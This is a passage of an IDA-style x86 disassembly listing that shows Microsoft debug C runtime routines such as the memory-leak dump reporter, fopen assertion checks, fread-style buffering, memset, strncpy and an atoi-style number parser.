loc_420E13:				; CODE XREF: sub_420B70+85j
					; sub_420B70+91j
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_420E21
		jmp	short loc_420E2C
sub_420B70	endp


; =============== S U B	R O U T	I N E =======================================



sub_420E21	proc near		; CODE XREF: sub_420B70+2AAp
					; DATA XREF: .XComp0:0043EBE8o
		push	9
		call	sub_425A30
		add	esp, 4
		retn
sub_420E21	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_420B70


loc_420E2C:				; CODE XREF: sub_420B70+2AFj
					; sub_420B70+2E0j
		push	offset aObjectDumpComp ; "Object dump complete.\n"
		push	offset aS_26	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	sub_424D20
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_420E4C
		int	3		; Trap to Debugger


loc_420E4C:				; CODE XREF: sub_420B70+2D9j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_420E2C
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_420B70
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420E70	proc near		; CODE XREF: sub_420B70+1F0p
					; sub_420B70+239p ...

var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= byte ptr -48h
var_34		= byte ptr -34h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4C], 0
		jmp	short loc_420E8B
; ---------------------------------------------------------------------------


loc_420E82:				; CODE XREF: sub_420E70+D7j
		mov	eax, [ebp+var_4C]
		add	eax, 1
		mov	[ebp+var_4C], eax


loc_420E8B:				; CODE XREF: sub_420E70+10j
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+10h], 10h
		jge	short loc_420E9F
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+10h]
		mov	[ebp+var_54], eax
		jmp	short loc_420EA6
; ---------------------------------------------------------------------------


loc_420E9F:				; CODE XREF: sub_420E70+22j
		mov	[ebp+var_54], 10h


loc_420EA6:				; CODE XREF: sub_420E70+2Dj
		mov	ecx, [ebp+var_4C]
		cmp	ecx, [ebp+var_54]
		jge	loc_420F4C
		mov	edx, [ebp+arg_0]
		add	edx, [ebp+var_4C]
		mov	al, [edx+20h]
		mov	byte ptr [ebp+var_50], al
		cmp	dword_4524F0, 1
		jle	short loc_420EE3
		push	157h
		mov	ecx, [ebp+var_50]
		and	ecx, 0FFh
		push	ecx
		call	sub_429750
		add	esp, 8
		mov	[ebp+var_58], eax
		jmp	short loc_420F00
; ---------------------------------------------------------------------------


loc_420EE3:				; CODE XREF: sub_420E70+55j
		mov	edx, [ebp+var_50]
		and	edx, 0FFh
		mov	eax, off_4522E4
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 157h
		mov	[ebp+var_58], ecx


loc_420F00:				; CODE XREF: sub_420E70+71j
		cmp	[ebp+var_58], 0
		jz	short loc_420F14
		mov	edx, [ebp+var_50]
		and	edx, 0FFh
		mov	[ebp+var_5C], edx
		jmp	short loc_420F1B
; ---------------------------------------------------------------------------


loc_420F14:				; CODE XREF: sub_420E70+94j
		mov	[ebp+var_5C], 20h


loc_420F1B:				; CODE XREF: sub_420E70+A2j
		mov	eax, [ebp+var_4C]
		mov	cl, byte ptr [ebp+var_5C]
		mov	[ebp+eax+var_48], cl
		mov	edx, [ebp+var_50]
		and	edx, 0FFh
		push	edx
		push	offset a_2x	; "%.2X	"
		mov	eax, [ebp+var_4C]
		imul	eax, 3
		lea	ecx, [ebp+eax+var_34]
		push	ecx
		call	sub_4219C0
		add	esp, 0Ch
		jmp	loc_420E82
; ---------------------------------------------------------------------------


loc_420F4C:				; CODE XREF: sub_420E70+3Cj
		mov	edx, [ebp+var_4C]
		mov	[ebp+edx+var_48], 0


loc_420F54:				; CODE XREF: sub_420E70+10Bj
		lea	eax, [ebp+var_34]
		push	eax
		lea	ecx, [ebp+var_48]
		push	ecx
		push	offset aDataSS	; " Data: <%s> %s\n"
		push	0
		push	0
		push	0
		push	0
		call	sub_424D20
		add	esp, 1Ch
		cmp	eax, 1
		jnz	short loc_420F77
		int	3		; Trap to Debugger


loc_420F77:				; CODE XREF: sub_420E70+104j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_420F54
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_420E70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420F90	proc near		; CODE XREF: sub_421880+B9p

var_34		= byte ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_34]
		push	eax
		call	sub_420890
		add	esp, 4
		cmp	[ebp+var_20], 0
		jnz	short loc_420FC4
		cmp	[ebp+var_2C], 0
		jnz	short loc_420FC4
		mov	ecx, dword_44FEE0
		and	ecx, 10h
		test	ecx, ecx
		jz	short loc_420FFB
		cmp	[ebp+var_28], 0
		jz	short loc_420FFB


loc_420FC4:				; CODE XREF: sub_420F90+19j
					; sub_420F90+1Fj ...
		push	offset aDetectedMemory ; "Detected memory leaks!\n"
		push	offset aS_26	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	sub_424D20
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_420FE4
		int	3		; Trap to Debugger


loc_420FE4:				; CODE XREF: sub_420F90+51j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_420FC4
		push	0
		call	sub_420B70
		add	esp, 4
		mov	eax, 1
		jmp	short loc_420FFD
; ---------------------------------------------------------------------------


loc_420FFB:				; CODE XREF: sub_420F90+2Cj
					; sub_420F90+32j
		xor	eax, eax


loc_420FFD:				; CODE XREF: sub_420F90+69j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_420F90	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		cmp	dword ptr [ebp+8], 0
		jnz	short loc_421022
		jmp	loc_4210CE
; ---------------------------------------------------------------------------


loc_421022:				; CODE XREF: .XComp0:0042101Bj
		mov	dword ptr [ebp-4], 0
		jmp	short loc_421034
; ---------------------------------------------------------------------------


loc_42102B:				; CODE XREF: .XComp0:0042107Cj
		mov	eax, [ebp-4]
		add	eax, 1
		mov	[ebp-4], eax


loc_421034:				; CODE XREF: .XComp0:00421029j
		cmp	dword ptr [ebp-4], 5
		jge	short loc_42107E


loc_42103A:				; CODE XREF: .XComp0:0042107Aj
		mov	ecx, [ebp-4]
		mov	edx, off_44FEF0[ecx*4]
		push	edx
		mov	eax, [ebp-4]
		mov	ecx, [ebp+8]
		mov	edx, [ecx+eax*4+4]
		push	edx
		mov	eax, [ebp-4]
		mov	ecx, [ebp+8]
		mov	edx, [ecx+eax*4+18h]
		push	edx
		push	offset aLdBytesInLdHsB ; "%ld bytes in %ld %hs Blocks.\n"
		push	0
		push	0
		push	0
		push	0
		call	sub_424D20
		add	esp, 20h
		cmp	eax, 1
		jnz	short loc_421076
		int	3		; Trap to Debugger


loc_421076:				; CODE XREF: .XComp0:00421073j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_42103A
		jmp	short loc_42102B
; ---------------------------------------------------------------------------


loc_42107E:				; CODE XREF: .XComp0:00421038j
					; .XComp0:004210A4j
		mov	ecx, [ebp+8]
		mov	edx, [ecx+2Ch]
		push	edx
		push	offset aLargestNumberU ; "Largest number used: %ld bytes.\n"
		push	0
		push	0
		push	0
		push	0
		call	sub_424D20
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_4210A0
		int	3		; Trap to Debugger


loc_4210A0:				; CODE XREF: .XComp0:0042109Dj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_42107E


loc_4210A6:				; CODE XREF: .XComp0:004210CCj
		mov	ecx, [ebp+8]
		mov	edx, [ecx+30h]
		push	edx
		push	offset aTotalAllocatio ; "Total	allocations: %ld bytes.\n"
		push	0
		push	0
		push	0
		push	0
		call	sub_424D20
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_4210C8
		int	3		; Trap to Debugger


loc_4210C8:				; CODE XREF: .XComp0:004210C5j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_4210A6


loc_4210CE:				; CODE XREF: .XComp0:0042101Dj
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4210E0	proc near		; CODE XREF: .XComp0:0040115Cp
					; .XComp0:00414471p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_C]
		push	eax
		call	sub_424B30
		add	esp, 4
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_421120
		add	esp, 10h
		mov	[ebp+var_4], eax
		mov	edx, [ebp+arg_C]
		push	edx
		call	sub_424BA0
		add	esp, 4
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_4210E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421120	proc near		; CODE XREF: sub_4210E0+20p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_4]
		imul	ecx, [ebp+arg_8]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_10]
		mov	[ebp+var_C], edx
		cmp	[ebp+var_C], 0
		jnz	short loc_421149
		xor	eax, eax
		jmp	loc_4212EB
; ---------------------------------------------------------------------------


loc_421149:				; CODE XREF: sub_421120+20j
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax+0Ch]
		and	ecx, 10Ch
		test	ecx, ecx
		jz	short loc_421164
		mov	edx, [ebp+arg_C]
		mov	eax, [edx+18h]
		mov	[ebp+var_1C], eax
		jmp	short loc_42116B
; ---------------------------------------------------------------------------


loc_421164:				; CODE XREF: sub_421120+37j
		mov	[ebp+var_1C], 1000h


loc_42116B:				; CODE XREF: sub_421120+42j
					; sub_421120:loc_4212E3j
		cmp	[ebp+var_C], 0
		jz	loc_4212E8
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx+0Ch]
		and	edx, 10Ch
		test	edx, edx
		jz	short loc_4211F9
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+4], 0
		jz	short loc_4211F9
		mov	ecx, [ebp+arg_C]
		mov	edx, [ebp+var_C]
		cmp	edx, [ecx+4]
		jnb	short loc_4211A1
		mov	eax, [ebp+var_C]
		mov	[ebp+var_20], eax
		jmp	short loc_4211AA
; ---------------------------------------------------------------------------


loc_4211A1:				; CODE XREF: sub_421120+77j
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx+4]
		mov	[ebp+var_20], edx


loc_4211AA:				; CODE XREF: sub_421120+7Fj
		mov	eax, [ebp+var_20]
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+var_18]
		push	ecx
		mov	edx, [ebp+arg_C]
		mov	eax, [edx]
		push	eax
		mov	ecx, [ebp+var_8]
		push	ecx
		call	sub_422B50
		add	esp, 0Ch
		mov	edx, [ebp+var_C]
		sub	edx, [ebp+var_18]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax+4]
		sub	ecx, [ebp+var_18]
		mov	edx, [ebp+arg_C]
		mov	[edx+4], ecx
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax]
		add	ecx, [ebp+var_18]
		mov	edx, [ebp+arg_C]
		mov	[edx], ecx
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_18]
		mov	[ebp+var_8], eax
		jmp	loc_4212E3
; ---------------------------------------------------------------------------


loc_4211F9:				; CODE XREF: sub_421120+63j
					; sub_421120+6Cj
		mov	ecx, [ebp+var_C]
		cmp	ecx, [ebp+var_1C]
		jb	loc_42129E
		cmp	[ebp+var_1C], 0
		jz	short loc_42121D
		mov	eax, [ebp+var_C]
		xor	edx, edx
		div	[ebp+var_1C]
		mov	eax, [ebp+var_C]
		sub	eax, edx
		mov	[ebp+var_24], eax
		jmp	short loc_421223
; ---------------------------------------------------------------------------


loc_42121D:				; CODE XREF: sub_421120+E9j
		mov	ecx, [ebp+var_C]
		mov	[ebp+var_24], ecx


loc_421223:				; CODE XREF: sub_421120+FBj
		mov	edx, [ebp+var_24]
		mov	[ebp+var_18], edx
		mov	eax, [ebp+var_18]
		push	eax
		mov	ecx, [ebp+var_8]
		push	ecx
		mov	edx, [ebp+arg_C]
		mov	eax, [edx+10h]
		push	eax
		call	sub_429A00
		add	esp, 0Ch
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_421268
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx+0Ch]
		or	edx, 10h
		mov	eax, [ebp+arg_C]
		mov	[eax+0Ch], edx
		mov	eax, [ebp+var_10]
		sub	eax, [ebp+var_C]
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	loc_4212EB
; ---------------------------------------------------------------------------


loc_421268:				; CODE XREF: sub_421120+127j
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_42128A
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx+0Ch]
		or	edx, 20h
		mov	eax, [ebp+arg_C]
		mov	[eax+0Ch], edx
		mov	eax, [ebp+var_10]
		sub	eax, [ebp+var_C]
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_4212EB
; ---------------------------------------------------------------------------


loc_42128A:				; CODE XREF: sub_421120+14Cj
		mov	ecx, [ebp+var_C]
		sub	ecx, [ebp+var_14]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_8]
		add	edx, [ebp+var_14]
		mov	[ebp+var_8], edx
		jmp	short loc_4212E3
; ---------------------------------------------------------------------------


loc_42129E:				; CODE XREF: sub_421120+DFj
		mov	eax, [ebp+arg_C]
		push	eax
		call	sub_429810
		add	esp, 4
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0FFFFFFFFh
		jnz	short loc_4212C0
		mov	eax, [ebp+var_10]
		sub	eax, [ebp+var_C]
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_4212EB
; ---------------------------------------------------------------------------


loc_4212C0:				; CODE XREF: sub_421120+191j
		mov	ecx, [ebp+var_8]
		mov	dl, byte ptr [ebp+var_4]
		mov	[ecx], dl
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_C]
		sub	ecx, 1
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_C]
		mov	eax, [edx+18h]
		mov	[ebp+var_1C], eax


loc_4212E3:				; CODE XREF: sub_421120+D4j
					; sub_421120+17Cj
		jmp	loc_42116B
; ---------------------------------------------------------------------------


loc_4212E8:				; CODE XREF: sub_421120+4Fj
		mov	eax, [ebp+arg_8]


loc_4212EB:				; CODE XREF: sub_421120+24j
					; sub_421120+143j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_421120	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4212F0	proc near		; CODE XREF: sub_4213F0+Dp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi


loc_4212F9:				; CODE XREF: sub_4212F0+31j
		cmp	[ebp+arg_0], 0
		jnz	short loc_42131D
		push	offset aFileNull ; "file != NULL"
		push	0
		push	35h
		push	offset aFopen_c	; "fopen.c"
		push	2
		call	sub_424D20
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_42131D
		int	3		; Trap to Debugger


loc_42131D:				; CODE XREF: sub_4212F0+Dj
					; sub_4212F0+2Aj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_4212F9


loc_421323:				; CODE XREF: sub_4212F0+5Fj
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jnz	short loc_42134B
		push	offset aFile_t0	; "*file != _T('\\0')"
		push	0
		push	36h
		push	offset aFopen_c	; "fopen.c"
		push	2
		call	sub_424D20
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_42134B
		int	3		; Trap to Debugger


loc_42134B:				; CODE XREF: sub_4212F0+3Bj
					; sub_4212F0+58j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_421323


loc_421351:				; CODE XREF: sub_4212F0+89j
		cmp	[ebp+arg_4], 0
		jnz	short loc_421375
		push	offset aModeNull ; "mode != NULL"
		push	0
		push	37h
		push	offset aFopen_c	; "fopen.c"
		push	2
		call	sub_424D20
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_421375
		int	3		; Trap to Debugger


loc_421375:				; CODE XREF: sub_4212F0+65j
					; sub_4212F0+82j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_421351


loc_42137B:				; CODE XREF: sub_4212F0+B7j
		mov	edx, [ebp+arg_4]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jnz	short loc_4213A3
		push	offset aMode_t0	; "*mode != _T('\\0')"
		push	0
		push	38h
		push	offset aFopen_c	; "fopen.c"
		push	2
		call	sub_424D20
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_4213A3
		int	3		; Trap to Debugger


loc_4213A3:				; CODE XREF: sub_4212F0+93j
					; sub_4212F0+B0j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_42137B
		call	sub_42A270
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4213BB
		xor	eax, eax
		jmp	short loc_4213E5
; ---------------------------------------------------------------------------


loc_4213BB:				; CODE XREF: sub_4212F0+C5j
		mov	edx, [ebp+var_4]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_429EE0
		add	esp, 10h
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_424BA0
		add	esp, 4
		mov	eax, [ebp+var_8]


loc_4213E5:				; CODE XREF: sub_4212F0+C9j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4212F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4213F0	proc near		; CODE XREF: .XComp0:00401108p
					; sub_4021E5+548Ep ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	40h
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_4212F0
		add	esp, 0Ch
		pop	ebp
		retn
sub_4213F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_421410	proc near		; CODE XREF: .XComp0:0040129Ep
					; .XComp0:004012B4p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_421463
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_421457
		neg	ecx
		and	ecx, 3
		jz	short loc_421439
		sub	edx, ecx


loc_421433:				; CODE XREF: sub_421410+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_421433


loc_421439:				; CODE XREF: sub_421410+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_421457
		rep stosd
		test	edx, edx
		jz	short loc_42145D


loc_421457:				; CODE XREF: sub_421410+18j
					; sub_421410+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_421457


loc_42145D:				; CODE XREF: sub_421410+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_421463:				; CODE XREF: sub_421410+Aj
		mov	eax, [esp+arg_0]
		retn
sub_421410	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_421470	proc near		; CODE XREF: sub_4016A7+5B2p
					; sub_4016A7+5D0p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_4214F3
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_421494
		shr	ecx, 2
		jnz	short loc_421501
		jmp	short loc_4214B5
; ---------------------------------------------------------------------------


loc_421494:				; CODE XREF: sub_421470+1Bj
					; sub_421470+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_4214C2
		test	al, al
		jz	short loc_4214CA
		test	esi, 3
		jnz	short loc_421494
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_421501


loc_4214B0:				; CODE XREF: sub_421470+8Fj
		and	ebx, 3
		jz	short loc_4214C2


loc_4214B5:				; CODE XREF: sub_421470+22j
					; sub_421470+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_4214EE
		dec	ebx
		jnz	short loc_4214B5


loc_4214C2:				; CODE XREF: sub_421470+2Bj
					; sub_421470+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4214CA:				; CODE XREF: sub_421470+2Fj
		test	edi, 3
		jz	short loc_4214E4


loc_4214D2:				; CODE XREF: sub_421470+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_421566
		test	edi, 3
		jnz	short loc_4214D2


loc_4214E4:				; CODE XREF: sub_421470+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_421557


loc_4214EB:				; CODE XREF: sub_421470+7Fj
					; sub_421470+F4j
		mov	[edi], al
		inc	edi


loc_4214EE:				; CODE XREF: sub_421470+4Dj
		dec	ebx
		jnz	short loc_4214EB
		pop	ebx
		pop	esi


loc_4214F3:				; CODE XREF: sub_421470+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4214F9:				; CODE XREF: sub_421470+A9j
					; sub_421470+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_4214B0


loc_421501:				; CODE XREF: sub_421470+20j
					; sub_421470+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_4214F9
		test	dl, dl
		jz	short loc_42154B
		test	dh, dh
		jz	short loc_421541
		test	edx, 0FF0000h
		jz	short loc_421537
		test	edx, 0FF000000h
		jnz	short loc_4214F9
		mov	[edi], edx
		jmp	short loc_42154F
; ---------------------------------------------------------------------------


loc_421537:				; CODE XREF: sub_421470+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_42154F
; ---------------------------------------------------------------------------


loc_421541:				; CODE XREF: sub_421470+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_42154F
; ---------------------------------------------------------------------------


loc_42154B:				; CODE XREF: sub_421470+ADj
		xor	edx, edx
		mov	[edi], edx


loc_42154F:				; CODE XREF: sub_421470+C5j
					; sub_421470+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_421561


loc_421557:				; CODE XREF: sub_421470+79j
		xor	eax, eax


loc_421559:				; CODE XREF: sub_421470+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_421559


loc_421561:				; CODE XREF: sub_421470+E5j
		and	ebx, 3
		jnz	short loc_4214EB


loc_421566:				; CODE XREF: sub_421470+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_421470	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421570	proc near		; CODE XREF: sub_421670+7p
					; sub_437910+8Fp ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h


loc_421576:				; CODE XREF: sub_421570+4Ej
		cmp	dword_4524F0, 1
		jle	short loc_421596
		push	8
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cl, [eax]
		push	ecx
		call	sub_429750
		add	esp, 8
		mov	[ebp+var_10], eax
		jmp	short loc_4215AF
; ---------------------------------------------------------------------------


loc_421596:				; CODE XREF: sub_421570+Dj
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, off_4522E4
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 8
		mov	[ebp+var_10], edx


loc_4215AF:				; CODE XREF: sub_421570+24j
		cmp	[ebp+var_10], 0
		jz	short loc_4215C0
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		jmp	short loc_421576
; ---------------------------------------------------------------------------


loc_4215C0:				; CODE XREF: sub_421570+43j
		mov	ecx, [ebp+arg_0]
		xor	edx, edx
		mov	dl, [ecx]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+var_4]
		mov	[ebp+var_C], ecx
		cmp	[ebp+var_4], 2Dh
		jz	short loc_4215E5
		cmp	[ebp+var_4], 2Bh
		jnz	short loc_4215F8


loc_4215E5:				; CODE XREF: sub_421570+6Dj
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		mov	al, [edx]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		mov	[ebp+arg_0], ecx


loc_4215F8:				; CODE XREF: sub_421570+73j
		mov	[ebp+var_8], 0


loc_4215FF:				; CODE XREF: sub_421570+E9j
		cmp	dword_4524F0, 1
		jle	short loc_42161B
		push	4
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_429750
		add	esp, 8
		mov	[ebp+var_14], eax
		jmp	short loc_421630
; ---------------------------------------------------------------------------


loc_42161B:				; CODE XREF: sub_421570+96j
		mov	eax, [ebp+var_4]
		mov	ecx, off_4522E4
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 4
		mov	[ebp+var_14], edx


loc_421630:				; CODE XREF: sub_421570+A9j
		cmp	[ebp+var_14], 0
		jz	short loc_42165B
		mov	eax, [ebp+var_8]
		imul	eax, 0Ah
		mov	ecx, [ebp+var_4]
		lea	edx, [eax+ecx-30h]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx
		jmp	short loc_4215FF
; ---------------------------------------------------------------------------


loc_42165B:				; CODE XREF: sub_421570+C4j
		cmp	[ebp+var_C], 2Dh
		jnz	short loc_421668
		mov	eax, [ebp+var_8]
		neg	eax
		jmp	short loc_42166B
; ---------------------------------------------------------------------------


loc_421668:				; CODE XREF: sub_421570+EFj
		mov	eax, [ebp+var_8]


loc_42166B:				; CODE XREF: sub_421570+F6j
		mov	esp, ebp
		pop	ebp
		retn
sub_421570	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421670	proc near		; CODE XREF: sub_4016A7+3A6p
					; sub_4021E5+C01p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_421570
		add	esp, 4
		pop	ebp
		retn
sub_421670	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	esi


loc_421697:				; CODE XREF: .XComp0:004216DFj
		cmp	dword_4524F0, 1
